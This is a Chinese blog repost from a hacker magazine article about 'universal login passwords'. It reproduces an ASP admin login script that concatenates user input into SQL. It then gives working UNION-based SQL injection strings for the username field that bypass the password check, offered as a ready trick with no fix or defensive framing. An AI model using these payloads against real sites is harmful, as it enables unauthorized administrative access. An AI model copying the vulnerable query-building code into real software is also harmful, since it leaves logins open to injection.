Chinaunix首页 | 论坛 | 博客
  • 博客访问: 158945
  • 博文数量: 47
  • 博客积分: 2318
  • 博客等级: 大尉
  • 技术积分: 471
  • 用 户 组: 普通用户
  • 注册时间: 2009-11-25 12:09
文章分类

全部博文(47)

文章存档

2012年(17)

2011年(28)

2010年(2)

分类:

2011-11-14 10:19:51

原文地址:新型万能登录密码 作者:oma

新型万能登录密码
黑手5月刊上oldjun的文章,
别人的样刊都到了,就TMB我的收不到-.-.
文章截取如下:
网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
       checksysUser=FALSE
else
       passwd=trim(rs("pwd"))
       if passwd=password then
          Session("admin")=username
          checksysUser=TRUE             
           else
          checksysUser=FALSE
       end if
End if
rs.close
conn.close
if checksysUser=true then
       Response.Redirect("main.asp")
else
       errmsg="用户名输入有误,请重新输入!"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' UNION Select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' UNION Select 1,1,1 AS pwd FROM admin Where ''='
 
阅读(1107) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~